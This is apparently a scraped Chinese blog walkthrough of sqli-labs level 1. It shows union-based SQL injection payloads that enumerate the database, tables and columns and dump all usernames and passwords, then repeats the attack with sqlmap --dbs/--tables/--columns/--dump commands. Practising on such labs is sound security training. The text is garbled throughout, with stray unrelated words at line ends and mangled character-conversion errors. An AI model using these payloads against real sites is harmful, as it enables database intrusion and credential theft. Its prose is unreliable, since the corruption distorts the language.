sqli-labs第一關 詳解

sqli-labs第一關sql

方法一:手工注入數據庫

方法二:sqlmap工具網絡

兩種方式,均可以學學,順便學會用sqlmap,也是不錯的。很少說,咱們開始吧工具

方法一:url

來到第一關,圖上說咱們須要一個數字的參數3d

 

 因而咱們先手工注入?id=1 and 1=1 跟?id=1 and 1=2發現頁面沒有報錯orm

每張截圖上面頁面中有select查詢語句,這是我在第一關的源碼中加上了echo "$sql<br>";  爲了可以跟清楚的瞭解sql注入的原理 blog

 

因而咱們來判斷一下是否爲字符型注入,嘗試?id=1'發現頁面報錯,此題應該爲字符型注入字符串

 

 因而咱們拼接字符串?id=1' and '1'='1頁面回顯正常源碼

 

 而後咱們使用order by來肯定表中的列數,爲何咱們要肯定表中字段的列數呢?是由於咱們的union聯合查詢

聯合查詢特色:

一、要求多條查詢語句的查詢列數是一致的!
二、要求多條查詢語句的查詢的每一列的類型和順序最好一致
三、union關鍵字默認去重,若是使用union all 能夠包含重複項

因而咱們構造?id=1' and '1'='1' order by 1--+  頁面回顯正常

      ?id=1' and '1'='1' order by 2--+  頁面回顯正常

      ?id=1' and '1'='1' order by 3--+  頁面回顯正常

      ?id=1' and '1'='1' order by 4--+  出現報錯界面

 

 而後咱們就肯定了字段數,因而用聯合查詢?id=-1' union select 1,2,3--+    (將id弄成一個負數的值,使前面的語句失效)而後看看union查詢是否有回顯位

 

 這樣咱們就看到了2,3這兩個回顯位

而後咱們利用union查詢,查看數據庫的版本和數據庫名,這裏面咱們再補充點知識點

version():查看數據庫版本

database():查看使用的數據庫

user():查看當前用戶

limit:limit子句分批來獲取全部數據

group_concat():一次性獲取全部的數據庫信息

當咱們簡單瞭解了這個以後,咱們再進行下面的步驟,相信你們有了深入的理解

接下來利用這兩個回顯位來查詢數據庫,和數據庫版本信息

?id=-1' union select 1,database(),version()--+

 

 而後咱們知道了數據庫是security,版本信息:5.7.26

再爆表以前咱們先了解一波知識點:

information_schema.tables:包含了數據庫裏全部的表

table_name:表名

table_schema:數據庫名

column_name:字段名

而後咱們利用union查詢來爆出表面寧

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

因而咱們爆出了表名

 

 而後,由咱們正常的思惟,咱們的帳號和密碼確定在一張表上,咱們看到了users表,

因而咱們查看一下這張表的字段名

?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+

 

 

 咱們看到了username和password字段,

而後咱們就去查詢字段信息

?id=-1' union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+

 

 得到了全部的帳號和密碼,這樣咱們就順利的拿到了很重要的信息。

方法二:

--dbs:是查看全部的數據庫

--tables:是查看全部的表

--columns:是查看錶中全部的字段名

--dump:是查詢哪一個表的數據

由於咱們已經知道了注入點的位置,因而咱們直接用sqlmap跑

命令:sqlmap.py -u "有注入點的url" --dbs

 

 咱們看到了security數據庫,而後咱們開始爆表

命令:sqlmap.py -u "有注入點的url" -D security --tables

 

接下來咱們開始爆字段名

命令:sqlmap.py -u "有注入點的url" -D security -T users --columns

 

 因而咱們就能夠爆信息了

命令:sqlmap.py -u "有注入點的url" -D security -T users -C "id,username,password" --dump

 

 讓後咱們就獲得了用戶名和密碼了。

兩種方法,你們盡情參考就能夠了。知識點,來自網絡蒐集中,有不對的能夠指出來,歡迎你們的評論和指正。

相關文章
相關標籤/搜索